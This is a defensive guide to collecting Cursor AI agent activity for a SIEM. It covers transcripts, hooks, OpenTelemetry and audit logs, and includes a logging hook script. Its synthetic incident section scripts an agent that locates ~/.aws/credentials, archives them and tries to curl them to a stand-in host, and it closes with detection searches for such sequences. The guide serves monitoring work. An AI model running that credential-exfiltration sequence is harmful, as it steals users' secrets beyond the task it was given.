tl;dr
You want to see what people are doing with Cursor’s agent from your SIEM. For agent sessions on users’ machines, Cursor gives you four places to look:
- Local transcript: a JSONL file (one JSON object per line) per conversation on each machine. It has prompts and the tools the agent asked for, but no tool output, no IDs, and only a timestamp per prompt.
- Hooks: scripts Cursor runs at each step of the agent loop. They receive the prompt, every tool call, its output, file edits, and blocks as JSON. Cursor ships no logging hook, so you write one and deploy it.
- OpenTelemetry (OTel) export: an Enterprise feature that Cursor’s cloud sends to your collector. For desktop sessions it carries counts and hook results, with no prompts or commands.
- Audit logs and the Admin API: Enterprise records of admin changes and usage. They never contain prompts or tool calls.
Our advice: deploy a logging hook to every machine and ship its output to your SIEM. On Enterprise, add the OTel export to check that your hook keeps running, and stream audit logs to catch changes to hooks, MCP servers, and Privacy Mode. Read the local transcript only when you investigate one session. Prompts, command output, and file edits are sensitive, so set SIEM access and retention, and check with your privacy team or works council before you log them.
Apart from the synthetic incident, the transcript and hook records in this guide come from our tests of Cursor on macOS. The OpenTelemetry examples follow Cursor’s documentation. The Claude Code guide and the Codex guide cover the same ground for those agents.
What happens when someone uses Cursor
Every Cursor log source records part of the same agent loop. A user types a prompt in Agent chat. The agent decides to use a tool, such as running a shell command, reading or editing a file, or calling an MCP server. Cursor checks whether the call is allowed, by your Run Mode settings, by asking the user, or by a hook. The tool runs, its output goes back to the model, and the agent either uses another tool or answers.
The figure follows that loop from left to right in five steps. The code at the bottom of each card is the hook event that step fires.
- 1PromptThe user asks for something
beforeSubmitPrompt - 2Tool requestThe agent asks to run a tool. A hook can deny it here
preToolUse - 3Permission checkShell and MCP calls get a second hook check
beforeShellExecution · beforeMCPExecution - 4ResultWhat the tool returned, or why it failed
postToolUse · postToolUseFailure - 5AnswerThe agent replies and the turn ends
stop
Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.
The sources at a glance
Each card in the figure below is one source. The label at the top of each card says where the source lives and what it needs, and the card colors (periwinkle, orchid, sage, and peach) only tell the sources apart. The table after the figure compares them in the same order.
-
Local · on by default
Local transcript
agent-transcripts/*.jsonlWhat did the user ask and the agent request? -
Local · you write it
Hooks
hooks.jsonWhat did the agent do, and what came back? -
Central · Enterprise
OpenTelemetry export
cursor.*How much activity, and did hooks run? -
Central · Enterprise
Audit logs
/teams/audit-logsWho changed settings, hooks, or MCP servers?
This table compares the four sources by location, default setting, contents, and best use.
| Source | Where it lives | On by default? | What it contains | Best for |
|---|---|---|---|---|
| Local transcript | ~/.cursor/projects/ on each machine |
Yes | Prompts, agent text, and tool requests with their input. No tool output, no IDs | Reading one conversation during an investigation |
| Hooks | Your hook’s output, shipped by your log agent | No | Prompts, tool calls with input and output, file edits, file reads, blocks, token counts | Live monitoring and alerting across all users |
| OpenTelemetry export | Cursor’s cloud, then your collector | No, Enterprise only | Tool call counts, API requests, hook results, plugin installs. No prompts or commands for desktop sessions | Checking coverage and volume |
| Audit logs | Cursor’s cloud, by API or streaming | No, Enterprise only | Admin changes: members, settings, team hooks, MCP servers, Privacy Mode | Catching changes to your controls |
Cursor’s chat database (state.vscdb), its AI code tracking database (~/.cursor/ai-tracking/ai-code-tracking.db), and the Analytics and AI Code Tracking APIs record chats, code attribution, and totals. None of them records what the agent did step by step, so we leave them out.
Source 1: the local transcript
Cursor writes one transcript per agent conversation:
~/.cursor/projects/<project>/agent-transcripts/<conversation-id>/<conversation-id>.jsonl
<project> is the folder Cursor was opened on, with / replaced by -. A conversation in /Users/alex/projects/example is stored under projects/Users-alex-projects-example/. Cursor does not document this location or format. Its hook documentation only says each hook receives the file’s path as transcript_path, so find the files with a search:
find ~/.cursor/projects -path '*agent-transcripts*' -name '*.jsonl' -print
These files can hold anything a user typed or pasted, including secrets. Copy them into an access-controlled location before you analyze them.
What is in a transcript
The lines below come from a transcript in our tests on macOS, trimmed, with the path and time replaced. This is the whole record of one turn in which the agent read a file, ran a shell command, and answered:
{"role":"user","message":{"content":[{"type":"text","text":"<timestamp>Thursday, Sep 24, 2026, 7:13 AM (UTC+1)</timestamp>\n<user_query>\nFix the typo in README.md, then run: echo hello-cursor\n</user_query>"}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Read","input":{"path":"/Users/alex/projects/example/README.md"}}]}}
{"role":"assistant","message":{"content":[{"type":"text","text":"The README already reads correctly. I'll run the echo."},{"type":"tool_use","name":"Shell","input":{"command":"echo hello-cursor","description":"Print hello-cursor marker","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"text","text":"1. README.md. No edit. ..."}]}}
{"type":"turn_ended","status":"success"}
Each line has a role and a message.content array of text and tool_use blocks. MCP tools appear as CallDynamicTool with the server in namespace and the tool in toolName. Model reasoning, when recorded, shows as [REDACTED]. A turn_ended line closes each turn with success or error.
For a SIEM, the gaps are:
- No tool output. The
echoabove printedhello-cursor, and the transcript does not say so. Cursor’s staff describe this as deliberate and point to hooks for output. - No IDs on lines, and no time except the prompt’s
<timestamp>, written in the user’s local format. An older build we checked had no timestamp at all. - Gaps when a turn is stopped. When the user stopped one test turn, its transcript ended
{"type":"turn_ended","status":"error","error":"User aborted request"}after a Read. The hooks for the same turn recorded a file write and a shell command that the transcript never shows.
Like any file in the user’s home folder, the transcript can be edited or deleted by the user, and you need an endpoint agent to collect it. Use it to read one conversation. Do not build detections on it.
Source 2: hooks
Hooks are where Cursor’s agent activity becomes usable for a SIEM. Cursor added them in version 1.7 to “audit Agent usage, block commands, or redact secrets”. Each hook is a command that Cursor runs at a named event, passing the event as JSON on standard input and reading a JSON reply on standard output. Cursor’s compliance documentation says the same thing from the other direction: audit logs do not record prompts or generated code, so use hooks to log development activity.
Your EDR already sees the processes Cursor starts. It does not see the prompt behind them, or the file reads and edits Cursor makes itself. Hooks tie all of these to a user and a conversation.
Where hooks are configured
Cursor reads hooks.json from four levels. The hooks reference lists them in this priority order:
| Level | Location | Who controls it |
|---|---|---|
| Enterprise | /Library/Application Support/Cursor/hooks.json on macOS, /etc/cursor/hooks.json on Linux, C:\ProgramData\Cursor\hooks.json on Windows |
IT, through MDM |
| Team | Cursor dashboard (Enterprise) | Cursor admins. Synced to machines every thirty minutes |
| Project | <project>/.cursor/hooks.json |
Anyone who can commit to the repository |
| User | ~/.cursor/hooks.json |
The user |
All matching hooks from every level run. Project hooks run only in workspaces the user has trusted. When hooks disagree on a permission, deny wins over ask, and ask wins over allow. A user can add hooks but cannot remove an enterprise one without admin rights on the machine, which is why a logging hook belongs at the enterprise or team level. Many developers have admin rights on their own machines, so treat the hook as visibility for those users, backed by the coverage check in Source 3.
Cursor also runs Claude Code hooks. With the third-party import setting, on by default, it loads hooks from ~/.claude/settings.json and from a repository’s .claude/settings.json and .claude/settings.local.json. On our test machine, a Claude Code hook that printed usage text in place of a JSON decision blocked every Read, edit, and shell call in Cursor until we turned it off. Treat a repository’s .claude/settings.json as code that runs on the developer’s machine when they use Cursor.
What a hook receives
Every agent event carries the same identity fields. This afterShellExecution event comes from our tests, with the email, paths, IDs, and version replaced:
{
"hook_event_name": "afterShellExecution",
"conversation_id": "5d2b7e10-0000-4000-8000-00000000c001",
"generation_id": "9a41c3d7-0000-4000-8000-0000000000g1",
"session_id": "5d2b7e10-0000-4000-8000-00000000c001",
"model": "grok-4.7",
"cursor_version": "3.x.x",
"user_email": "[email protected]",
"workspace_roots": ["/Users/alex/projects/example"],
"transcript_path": "/Users/alex/.cursor/projects/Users-alex-projects-example/agent-transcripts/5d2b7e10-0000-4000-8000-00000000c001/5d2b7e10-0000-4000-8000-00000000c001.jsonl",
"command": "echo hello-cursor",
"output": "hello-cursor\n",
"duration": 3908.302,
"sandbox": false,
"tool_use_id": "618ea90e-0000-4000-8000-0000000000t1"
}
user_email lets you monitor per user. conversation_id names the conversation, and generation_id ties together everything one prompt caused, except that in our tests each afterAgentThought fired twice and the second copy carried a suffixed generation_id. tool_use_id pairs a tool’s request with its result, and duration is in milliseconds. There is no timestamp in any event, so your hook has to add one.
The events below answer the common monitoring questions. All of them are documented in the hooks reference, and we saw each one in our tests except the MCP pair.
| Question | Event | Key fields |
|---|---|---|
| What did the user ask? | beforeSubmitPrompt |
prompt, attachments |
| What did the agent try to do? | preToolUse |
tool_name, tool_input, tool_use_id |
| What shell command ran, and what did it print? | beforeShellExecution, afterShellExecution |
command, cwd, output, duration |
| What did a tool return? | postToolUse |
tool_output, duration |
| What was blocked or failed? | postToolUseFailure |
error_message, failure_type |
| What did it change? | afterFileEdit |
file_path, edits (old and new text) |
| What did it read? | beforeReadFile |
file_path, content (the whole file) |
| Which MCP server did it call? | beforeMCPExecution, afterMCPExecution |
mcp_server_name, tool_name, tool_input, result_json |
| How did the turn end? | stop |
status (completed, aborted, error), token counts |
Three details from our tests change how you parse these:
tool_outputis thin for some tools. For Shell it held{"output":"hello-cursor\n","exitCode":0}. For Read it held onlycontent_length, and for a search only the pattern andsuccess. The file’s text arrives inbeforeReadFile.tool_inputnames differ from the transcript. A file search the transcript recorded asGlobwithtarget_directoryreached hooks asGrepwithfile_path. Build parsers on the hook names.tool_use_idhas two formats. Shell calls had a UUID. Read and search calls had acall-ID, a newline, and anfc_ID in one string. Treat it as an opaque string. In our tests the shell and file-read events carried the sametool_use_idas theirpreToolUse, although Cursor documents it only onpreToolUse,postToolUse, andpostToolUseFailure.
The figure below shows, from left to right, the hook events around one shell command in our second test run: the prompt, the agent running echo hello-cursor, and the end of the turn. The same test run also produced file read, search, and edit events, which the figure leaves out. The field at the bottom of each card is the narrowest ID that joins it to related events: tool_use_id pairs a tool’s request with its result, and generation_id ties together the events the prompt caused.
conversation_id and generation_id.- 1before
Submit PromptPrompt text and attachments generation_id - 2pre
Tool UseShell, with the command tool_use_id - 3before
Shell ExecutionCommand and working folder tool_use_id - 4after
Shell ExecutionOutput and duration tool_use_id - 5stopStatus and token counts
generation_id
A postToolUse event with the same tool_use_id arrived alongside step 4, and the agent’s thoughts and reply arrived as afterAgentThought and afterAgentResponse events between steps 4 and 5.
Blocked calls
When a hook denies a call, Cursor fires a postToolUseFailure event. This one comes from our first test run, where the failing Claude Code hook blocked a shell command:
{
"hook_event_name": "postToolUseFailure",
"conversation_id": "5d2b7e10-0000-4000-8000-00000000c002",
"tool_name": "Shell",
"tool_input": {"command": "echo hello-cursor", "cwd": "/Users/alex/projects/example", "timeout": 30000},
"error_message": "Hook blocked with message: ...",
"failure_type": "permission_denied",
"duration": 0,
"is_interrupt": false,
"tool_use_id": "7d5d4397-0000-4000-8000-0000000000t2"
}
The denial happened in preToolUse, so beforeShellExecution never fired for that command. Log preToolUse and postToolUseFailure as well as the shell events, or blocked attempts will be missing.
What hooks do not record
Hooks miss three things you might expect them to log:
- Your approvals. In our second run the user approved one shell command in the Cursor window, and no hook event recorded the decision. That command’s
durationwas 74,628 ms for a one-linepython3command, but Cursor’s hooks reference saysdurationexcludes approval wait time, so do not use it to detect approvals. - The model’s own refusals as events. Our test prompt asked the agent to archive a dummy credentials file and upload it. The model refused, and the only record is the text in
afterAgentThoughtandafterAgentResponse. - Anything when the hook fails. Cursor fails open: if a hook crashes, times out, or exits with any error code other than 2, the action goes ahead and the event is lost. Exit code 2 blocks the action, and
failClosed: trueblocks it on any failure, which is right for a policy hook and usually wrong for a logging one.
One exception works the other way. A hook on an event that can allow or deny, such as preToolUse, blocks the action if it prints anything other than valid JSON, or JSON that does not match the event’s schema. That is what stopped every tool call in our first run. A broken logging hook deployed to every machine can stop the agent everywhere, so test it on a few machines first and keep it printing only {}.
A logging hook you can copy
Cursor does not forward hook payloads anywhere, so this hook writes them to disk and your existing log agent ships them. The figure shows that path from left to right, from Cursor on the user’s machine to your SIEM. The code at the bottom of each card is the file, folder, or system that step uses. The rest of this section sets up steps 1 to 4, and A setup you can copy covers the SIEM.
- 1CursorRuns the hook at each event
hooks.json - 2Hook scriptAdds time and host, replies
{}log-event.sh - 3Spool folderOne JSON file per event
cursor-agent-events/ - 4Log agentShips each file, then deletes it
your log agent - 5SIEMSearch, alert, retain
your index
Our first logging hook appended every event to one file. Cursor ran hooks concurrently in our tests, so two events wrote into the same line, and 3 of 36 lines in that run were corrupted. Writing one file per event avoids this. This macOS script adds a timestamp and the hostname, writes the event to a spool folder that only the user can read, and always lets the action continue:
#!/bin/bash
# Cursor logging hook: one JSON file per event, picked up by your log agent.
umask 077
spool="$HOME/Library/Logs/cursor-agent-events"
mkdir -p "$spool"
ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
file="$spool/$(date -u +%Y%m%dT%H%M%S)-$$-$RANDOM.json"
{
printf '{"logged_at":"%s","host":"%s","event":' "$ts" "$(hostname)"
cat
printf '}\n'
} > "$file"
echo '{}'
exit 0
Save it as hooks/log-event.sh next to the enterprise hooks.json and register it for the events you want. Enterprise hooks run from the enterprise config folder, so the relative path avoids the space in Application Support.
We tested a similar one-file-per-event hook at user level, in ~/.cursor/hooks.json, but not this exact script or the enterprise config, so check on one machine that events reach the spool folder before you deploy it widely. Cursor’s docs disagree on whether system-wide hooks placed by MDM need an Enterprise plan, so confirm that for your plan too.
This example logs the events in the table above, apart from beforeReadFile and beforeShellExecution (step 3 of the hook event figure in “What a hook receives”), because afterShellExecution carries the same command plus its output. It also leaves out afterAgentThought and afterAgentResponse; add afterAgentResponse if you want the agent’s replies, including refusals.
{
"version": 1,
"hooks": {
"beforeSubmitPrompt": [{ "command": "./hooks/log-event.sh" }],
"preToolUse": [{ "command": "./hooks/log-event.sh" }],
"postToolUse": [{ "command": "./hooks/log-event.sh" }],
"postToolUseFailure": [{ "command": "./hooks/log-event.sh" }],
"afterShellExecution": [{ "command": "./hooks/log-event.sh" }],
"afterFileEdit": [{ "command": "./hooks/log-event.sh" }],
"beforeMCPExecution": [{ "command": "./hooks/log-event.sh" }],
"afterMCPExecution": [{ "command": "./hooks/log-event.sh" }],
"stop": [{ "command": "./hooks/log-event.sh" }]
}
}
Point your log agent at the spool folder, ship each file as one event, and delete files once they are shipped. Use logged_at as the event time. The folder is in the user’s home directory, so the user can delete it. On Enterprise you can detect that: alert when a user’s cursor.api.request events have no matching hook events in your SIEM (step 3 of A setup you can copy). Without Enterprise, you cannot.
Decide on content before you turn this on. Prompts, shell output, and file edits all go to your SIEM, and beforeReadFile would add the full text of every file the agent reads, including any .env file. We left it out of the example. Add it only if your SIEM’s access controls and retention suit that data. Prompts can also count as employee data, so check with your privacy team or works council where that applies.
Source 3: the OpenTelemetry export
The OpenTelemetry export’s value next to your hook is coverage: cursor.hook.execution_complete tells you, from outside the user’s machine, that hooks ran and whether they failed or timed out.
Cursor’s OpenTelemetry export is an Enterprise feature that admins switch on in Team Settings. It runs on Cursor’s servers: Cursor sends OTLP (the OpenTelemetry protocol) over HTTP from a fixed set of IP addresses to a collector you expose to the internet. Nothing is installed on users’ machines, and the desktop app has no OTel settings of its own.
For desktop and CLI sessions, the export carries activity metadata. The wire reference lists what each signal holds:
| Signal | What it tells you | What it leaves out |
|---|---|---|
cursor.tool.calls metric |
Count of tool calls (tool names in lowercase, such as shell) by cursor.tool.kind, cursor.tool.name, cursor.tool.status, and MCP server name |
Commands, paths, arguments, and conversation IDs |
cursor.api.request log |
Model requests with cursor.conversation.id, usually with user attributes |
Prompt and response text |
cursor.hook.execution_complete log (body hook_execution_complete) |
Each hook run with cursor.hook.name, cursor.hook.type, and cursor.hook.outcome (success, blocked, failed, timeout) |
The hook’s input and output |
cursor.plugin.installed log |
Plugin installs |
If your team opts in, the export can also send prompt and response text from Cloud Agents and Cursor’s Grok Bot, and MCP tool arguments and results from Grok Bot. The wire reference says “IDE, CLI, and desktop conversations are not on this family yet”.
A user who sends API requests with no hook runs, or whose hooks start failing, has a gap to look at. cursor.hook.type lists only general types, such as pre_tool_use, post_tool_use, before_submit_prompt, and stop. It does not list shell, MCP, or file events. To make this check see your logging hook, register it on preToolUse and postToolUse.
Source 4: audit logs and the Admin API
Cursor’s audit logs record who changed what in the team: sign-ins, members, API keys, settings, and integrations. They are an Enterprise feature, available through the dashboard, the Admin API (GET /teams/audit-logs), or streaming to Splunk HTTP Event Collector, Sumo Logic, an HTTPS webhook, or an S3 bucket. They exclude prompts, agent output, and generated code.
For agent monitoring, three event types matter, because each one changes your controls:
| Event | What it records |
|---|---|
team_hook |
A team hook created, updated, or deleted, including its script or prompt text |
mcp_server_config |
A user or team MCP server added, changed, renamed, or deleted |
privacy_mode |
Privacy Mode changed for a member or the team |
The Admin API also returns daily usage and per-request usage events with user, model, tokens, and conversation ID. Those help with cost and adoption. They do not say what the agent did.
One incident, four views
To see how the sources differ, take one synthetic incident. A user asks the agent to fix a typo in the README. The agent then searches the home folder for credentials, packs them into an archive, and tries to upload it. A policy hook blocks the upload. Names are fictional, and .invalid hosts cannot resolve. The transcript and hook records follow the shapes we saw in our tests. The OpenTelemetry records are simplified from Cursor’s wire reference. In our real test the model refused these steps, so we scripted the records to show their shapes.
Incident in the transcript
The transcript shows the synthetic incident’s prompt and three commands, with no output and no time beyond the prompt:
{"role":"user","message":{"content":[{"type":"text","text":"<timestamp>Thursday, Sep 24, 2026, 10:00 AM (UTC+1)</timestamp>\n<user_query>\nFix the typo in README.md. Don't touch anything outside this repo.\n</user_query>"}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"find ~ -name credentials -path '*.aws*'","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u","working_directory":"/Users/alex/projects/example"}}]}}
{"type":"turn_ended","status":"success"}
Incident in the hooks
The logging hook from above records each step of the synthetic incident with its result. Events and fields are trimmed to the ones that matter; every event also carries conversation_id and user_email:
{"logged_at":"2026-09-24T09:00:00Z","event":{"hook_event_name":"beforeSubmitPrompt","generation_id":"g-01","user_email":"[email protected]","prompt":"Fix the typo in README.md. Don't touch anything outside this repo."}}
{"logged_at":"2026-09-24T09:00:03Z","event":{"hook_event_name":"afterShellExecution","generation_id":"g-01","command":"find ~ -name credentials -path '*.aws*'","output":"/Users/alex/.aws/credentials\n","tool_use_id":"t-01"}}
{"logged_at":"2026-09-24T09:00:06Z","event":{"hook_event_name":"afterShellExecution","generation_id":"g-01","command":"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials","output":"","tool_use_id":"t-02"}}
{"logged_at":"2026-09-24T09:00:08Z","event":{"hook_event_name":"postToolUseFailure","generation_id":"g-01","tool_name":"Shell","tool_input":{"command":"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u"},"failure_type":"permission_denied","error_message":"Hook blocked with message: Upload to an unknown host.","tool_use_id":"t-03"}}
{"logged_at":"2026-09-24T09:00:10Z","event":{"hook_event_name":"stop","generation_id":"g-01","status":"completed"}}
Incident in the OpenTelemetry export
For the synthetic incident, the export shows that shell calls happened and that a hook blocked one, with no commands:
{"metric":"cursor.tool.calls","attributes":{"cursor.tool.kind":"builtin","cursor.tool.name":"shell","cursor.tool.status":"success"},"value":2}
{"body":"hook_execution_complete","attributes":{"cursor.conversation.id":"c-01","cursor.hook.name":"block-unknown-uploads","cursor.hook.type":"pre_tool_use","cursor.hook.outcome":"blocked"}}
Incident in the audit logs
Cursor’s audit logs record nothing for this incident, because they cover administrative changes and no setting changed.
What each view gives you
This table shows what each source records about the synthetic incident.
| What the source shows | Transcript | Hooks | OpenTelemetry export | Audit logs |
|---|---|---|---|---|
| The prompt and its scope (“don’t touch anything outside this repo”) | Yes | Yes | No | No |
| Full commands | Yes | Yes | No, only counts by tool | No |
What the find returned (the credential path) |
No | Yes | No | No |
| That the upload was blocked, and why | No sign of the block in the records we saw | Yes, with the hook’s message | That a hook blocked something | No |
| Time of each step | Prompt only, local time | Yes, added by your hook | Log records only; metrics are totals | No |
| User identity | No, machine and folder only | Email on every event when the user is signed in | Usually, as optional resource attributes | No |
| Available centrally | Only if you ship the files | Yes, through your log agent | Yes, Enterprise | Yes, Enterprise |
None of the four proves the credentials stayed on the machine. Your proxy, DNS, and endpoint logs show what happened on the machine.
Join the sources by ID
Cursor’s hooks, local transcript, OpenTelemetry export, and Admin API usage events share one ID: the conversation ID. This table shows which hook IDs appear in the transcript and the OpenTelemetry export.
| Hook field | Transcript | OpenTelemetry export |
|---|---|---|
conversation_id |
Folder and file name | cursor.conversation.id, which Cursor documents as the conversation (composer) ID for desktop sessions |
generation_id |
None | None |
tool_use_id |
None | None |
In our tests the hook conversation_id matched the transcript’s folder and file name, and transcript_path pointed to it. The path was null on the first prompt of a new conversation and set on later events, so join on conversation_id. We could not test the OTel side without an Enterprise team. generation_id and tool_use_id exist only in hooks, so steps within a prompt can be joined there and nowhere else.
Which should you send to your SIEM?
Send Cursor hook events to your SIEM first, and add the OpenTelemetry export and audit logs if you are on Cursor Enterprise. The figure below sums up our advice. The strengths of hooks sit under the sage green Pros label and their weaknesses under the peach Cons label. The table after it weighs all four sources the same way.
Pros Hooks
- Prompts, commands, output, edits, and blocks, as they happen.
- User email (when signed in) and conversation ID on every event.
- User-level hooks work on any plan.
- The same mechanism can block actions as well as log them.
Cons Hooks
- You write, deploy, and maintain the hook and the shipping.
- No timestamps in the events; your hook adds them.
- Fails open on a crash or timeout and loses the event. Invalid JSON from a hook on preToolUse blocks every tool call.
- No record of user approvals.
This table lists the pros and cons of each source and whether to send it to your SIEM.
| Source | Pros | Cons | Send to SIEM? |
|---|---|---|---|
| Hooks | Live, per user, full commands and output, blocks recorded | You build it; fails open; a broken deploy can block the agent; no approvals; content is sensitive | Yes, first |
| OpenTelemetry export | Central, nothing to install, shows hook failures | Enterprise only; no prompts or commands for desktop sessions | Yes, if you are on Enterprise |
| Audit logs | Central record of changes to hooks, MCP servers, and Privacy Mode | Enterprise only; no agent activity | Yes, if you are on Enterprise |
| Local transcript | Already on every machine; readable | No output, IDs, or reliable times; undocumented; misses stopped turns | On demand during investigations |
A setup you can copy
- Deploy the logging hook through MDM to
/Library/Application Support/Cursor/hooks/with the enterprisehooks.json, or as a team hook on Enterprise. Test it on a few machines first. IncludepreToolUseandpostToolUseFailureso blocked attempts are logged. - Configure your log agent to ship the spool folder, parse
eventas JSON, and uselogged_atas the time. Set SIEM access and retention for prompts, command output, and file edits. Estimate ingest volume first: expect several events per prompt, and file edits carry the full old and new text. - On Enterprise, turn on the OpenTelemetry export and alert when
cursor.hook.outcomeisfailedortimeout, or when a user’s API requests arrive with no hook events in your SIEM. - On Enterprise, stream audit logs and alert on
team_hook,mcp_server_config, andprivacy_modeevents. - For an investigation, copy the conversation’s transcript folder from the user’s machine and join it to hook events on
conversation_id. Expect prompts and commands, and no output. - Confirm effects elsewhere. A hook event tells you what Cursor ran and saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what actually changed.
What to watch first
Once hook events are flowing, start with these searches:
- Credential locations:
commandortool_input.file_pathcontaining.ssh,.aws,.env, orsecurity find-generic-password, especially outsideworkspace_roots. - Archive then transfer: a
tar,zip, or similar command followed bycurl,scp, or similar in the samegeneration_id. - New MCP servers:
beforeMCPExecutionwith anmcp_server_nameyou have not seen before. - Repeated blocks: several
postToolUseFailureevents withpermission_deniedin one conversation, which can mean the agent is trying different ways around a block. - New hooks in repositories: changes to
.cursor/hooks.jsonor.claude/settings.jsonin your source control, because Cursor runs both.
None of these proves bad intent. Admin work, migrations, and incident response produce similar sequences. They tell you where to look.
Summary
For agent sessions on users’ machines, hooks are the only Cursor source that records prompts, commands, output, and blocks. Cursor ships no logging hook, so write one, deploy it at the enterprise level through MDM or as a team hook, and have it add the timestamps Cursor leaves out. Decide first whether prompts, command output, and file edits belong in your SIEM.
On Enterprise, add the OpenTelemetry export to see when hooks fail and stream audit logs to catch changes to hooks, MCP servers, and Privacy Mode. Keep the local transcript for reading one conversation, and confirm what actually changed in endpoint, Git, identity, proxy, and SaaS logs before you act on what you find.